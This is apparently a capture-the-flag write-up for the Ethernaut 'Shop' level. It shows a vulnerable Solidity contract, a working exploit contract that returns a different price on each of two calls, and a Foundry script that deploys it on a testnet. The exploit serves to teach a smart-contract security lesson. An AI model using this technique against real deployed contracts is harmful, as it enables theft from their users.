The Ethernaut CTF Solutions | 21 - Shop
Discounted Deals: Exploiting Contract Logic with Interfaces for Better Prices
Table of contents
Goals
The Contract
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
The hack
The goal of the Shop challenge is to buy an item from the contract at a discount. How to do that? Let's check the buy()
function (it's not like we have many other functions to check anyway!):
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
It seems that only a price equal to or greater than the current price will be accepted. However, the price()
function is not a simple getter, but rather an interface without any logic. So what if we could set our own logic?
This is quite similar to the level 11 - Elevator. We can create a new contract that implements the Buyer
interface and sets our custom logic for the price()
function.
Now, we simply have to mess with this part:
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
Notice how the price()
function is called twice:
Once to check that the price paid is enough,
Then again to set the price to its new value.
So we want !sold
to be false and price
to be more than 100 the first time to pass the condition, and then !sold
to be true and price
to be as little as possible the second time. And there will be our discount.
Solution
Let's implement the code accordingly:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IShop {
function isSold() external view returns (bool);
function buy() external;
}
contract Discount {
IShop shop;
constructor(address _shop) {
shop = IShop(_shop);
}
function price() public view returns (uint256) {
return shop.isSold() ? 1 : 101;
}
function attack() public {
shop.buy();
}
}
Now, let's prepare the script in charge of deploying the Discount
contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Script, console2} from "forge-std/Script.sol";
import {Discount} from "../src/21_Shop.sol";
interface IShop {
function price() external view returns (uint256);
}
contract PoC is Script {
// Replace with your Shop instance
address private immutable shop = 0xb6fD536610887837a3452Ac249432bF9eF129e3a;
function run() external {
uint256 deployer = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(deployer);
console2.log("Initial price: ", IShop(shop).price());
Discount discount = new Discount(shop);
discount.attack();
console2.log("Discounted price: ", IShop(shop).price());
vm.stopBroadcast();
}
}
Then run the script with the following command:
forge script script/21_Shop.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
Here is what should be printed in your console after running this script:
(I had already completed the challenge, that's why the Initial price
was already 1.)
๐ Level completed ๐
Takeaway
- Don't change the state based on external and untrusted contracts logic.
You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/